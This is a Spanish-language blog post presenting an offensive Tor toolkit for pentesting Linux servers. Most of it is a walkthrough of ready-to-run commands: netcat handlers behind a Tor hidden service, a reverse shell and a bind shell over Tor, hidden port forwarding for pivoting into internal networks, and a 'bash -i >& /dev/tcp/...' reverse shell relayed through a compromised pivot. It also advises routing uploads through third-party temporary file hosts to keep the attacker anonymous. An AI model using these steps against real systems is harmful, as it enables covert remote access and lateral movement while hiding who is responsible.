Offensive Tor Toolkit es un conjunto de herramientas que permitirán realizar tareas de explotación y post-explotación sobre Tor de forma transparente en el lado de las víctimas. Para compilar estas herramientas, podemos simplemente usarDocker:
$ git clone https://github.com/atorrescogollo/offensive-tor-toolkit.git $ cd ./offensive-tor-toolkit $ docker build -t offensive-tor-toolkit . $ docker run -v $(pwd)/dist/:/dist/ -it --rm offensive-tor-toolkit
Con esto, hemos construido la imagen, hemos arrancado un contenedor a partir de esa imagen y tendremos disponibles todas las herramientas en el directorio ./dist
.
Estas herramientas solo tienen sentido en el lado de la víctima, por lo que deberían ser subidas. Para preservar el anonimato del atacante, se debería usar un servicio de terceros de subida de ficheros temporales como intermediario.
Offensive Tor Toolkit tiene dos categorías de utilidades en función del objetivo:
A continuación, explicamos el funcionamiento de cada una de las herramientas.
Acceso con Reverse Shell over Tor
En este caso, nos encontramos en una situación en la que podemos ejecutar comandos en la víctima de alguna forma. Para recibir una Reverse Shell, en el atacante, antes de nada, tenemos que publicar un Hidden Service:
$ mkdir -p -m=700 ~/.tor/hsdir/ $ cat > ~/.tor/torrc <<EOF HiddenServiceDir $HOME/.tor/hsdir HiddenServicePort 4444 127.0.0.1:4444 EOF
$ tor -f ~/.tor/torrcNOTA: Podemos consultar el hostname del Hidden Service en
$HOME/.tor/hsdir/hostname
. Ahora, iniciamos el handler de netcat:
$ nc -lnvp 4444
Para que la víctima se conecte a nuestro Hidden Service y llegue al handler, necesita poder conectarse a Tor y enviar la Reverse Shell a través de la instancia. De esto se va a ocupar la herramienta . Lo mostramos a continuación:
$ ./reverse-shell-over-tor -listener m5et..jyd.onion:4444
Tras esta ejecución en la víctima, el atacante recibirá una sesión bash y podrá ejecutar comandos de forma interactiva:
NOTA: La sesión bash recibida, por defecto, no es completamente interactiva. Este método puede ser de utilidad para mejorar la experiencia.
Acceso con Hidden Bind Shell
En este caso, es la víctima quien publica el Hidden Service. Por cada conexión al Hidden Service, se ofrecerá una sesión bash distinta. Por tanto, lo primero es ejecutar la utilidad en la víctima para que publique el Hidden Service y el dispatcher de shells:
$ ./hidden-bind-shell -data-dir /tmp/datadir/ -hiddensrvport 4444 ... Bind shell is listening on hgn...6yew.onion:4444
En este caso, es importante indicar el parámetro -data-dir
. Así, el Hidden Service siempre usará la misma dirección onion.
Una vez hemos publicado el Hidden Service en la víctima, el atacante usa su instancia de Tor para conectarse al Hidden Service y recibir la shell:
$ alias nctor='nc --proxy 127.0.0.1:9050 --proxy-type socks5' $ nctor -v hgn...6yew.onion 4444 ... id uid=48(apache) gid=48(apache) groups=48(apache)
Pivoting con Hidden Port Forwarding
Dejamos a un lado el acceso para centrarnos en el acceso a redes internas. Supongamos que la víctima tiene acceso a un recurso de red en una red interna. Para acceder a ese recurso, necesitamos enrutar el tráfico a través de la víctima.
La utilidad nos permitirá crear un túnel TCP cuya entrada será un puerto del atacante y, la salida, un puerto alcanzable por la víctima. De este modo, la ejecución para acceder a un servicio publicado exclusivamente en el localhost de la víctima sería la siguiente:
$ ./hidden-portforwarding -data-dir /tmp/pf-datadir -forward 127.0.0.1:8084 -hidden-port 9001 ... Forwarding xa7...4el.onion:9001 -> 127.0.0.1:8084
En este punto, el atacante solo tiene que alcanzar el Hidden Service en el puerto 9001
para comunicarse con el servicio que escucha en localhost:8084
. Lo vemos a continuación:
$ alias curltor='curl -x socks5://localhost:9050' $ curl http://xa7...4el.onion:9001 <h1>Hello World!</h1>En el caso de que queramos hacer el pivoting más dinámico, una buena opción sería usar junto con . Para ver un ejemplo sobre este uso, consulta este enlace.
Pivoting inverso con TCP2Tor Proxy
Por último, supongamos una situación ligeramente diferente a las anteriores. En esta ocasión, queremos ganar acceso a una máquina que está en una red aislada sin acceso a Internet, por lo que no es capaz de conectarse a Tor. La única forma de conexión es usar una máquina previamente comprometida como pivote.
Con la utilidad , el pivote hará un Remote Port Forwarding. Es decir, publicará un servicio TCP alcanzable por la víctima en red aislada que enrutará el tráfico TCP a un Hidden Service controlado por el atacante.
Por tanto, el primer paso es iniciar el Hidden Service y el handler de netcat en el atacante (como vimos anteriormente):
$ mkdir -p -m=700 ~/.tor/hsdir/ $ cat > ~/.tor/torrc <<EOF HiddenServiceDir $HOME/.tor/hsdir HiddenServicePort 4444 127.0.0.1:4444 EOF
$ tor -f ~/.tor/torrc
$ nc -lnvp 4444
Ahora, el pivote deberá ejecutar tcp2tor-proxy
del siguiente modo:
$ ./tcp2tor-proxy -listen 0.0.0.0:60101 -onion-forward m5et..jyd.onion:4444 ... Proxying 0.0.0.0:60101 -> m5et..jyd.onion:4444
En este momento, todo el tráfico TCP que llegue al pivote en el puerto 60101
alcanzará el Hidden Service del atacante y, por tanto, llegará al handler de netcat. Lo único que tiene que hacer la víctima es ejecutar una Reverse Shell simple hacia el pivote:
$ bash -i >& /dev/tcp/<PIVOTE>/60101 0>&1
Esta conexión llegará al handler y tendremos un acceso interactivo en la víctima de red aislada:
Conclusiones
Offensive Tor Toolkit es una suite de herramientas sencillas de usar que trata de simplificar la comunicación con Tor en el lado de la víctima. En el post de ToRAT: Reverse Shells sobre Tor, vimos una herramienta muy similar pero con diferencias muy importantes:
Vistas las diferencias, queda claro que el ámbito de uso es completamente distinto:
- ToRAT está muy orientado a dispositivos de usuario sin tener muy en cuenta el apartado de red de la víctima. Además, trata de abstraer al atacante en el uso de Tor.
- Offensive Tor Toolkit está muy orientado al uso en pentesting contra servidores Linux. Además, trata de simplificar el uso de Tor en el lado de la víctima.
Además, en el apartado de pivoting, resulta una herramienta muy útil para el pentesting con Tor. Simplifica enormemente el proceso de post-explotación y cabe destacar la facilidad de integración con otras herramientas gracias a la sencillez de la implementación.
A pesar de que es una herramienta muy joven, Offensive Tor Toolkit ya cuenta con características muy interesantes para el pentesting. ¿Te animas a probarla?
Álvaro Torres Cogollo.
Quieres contactar conmigo? Te dejo mis redes sociales a continuación.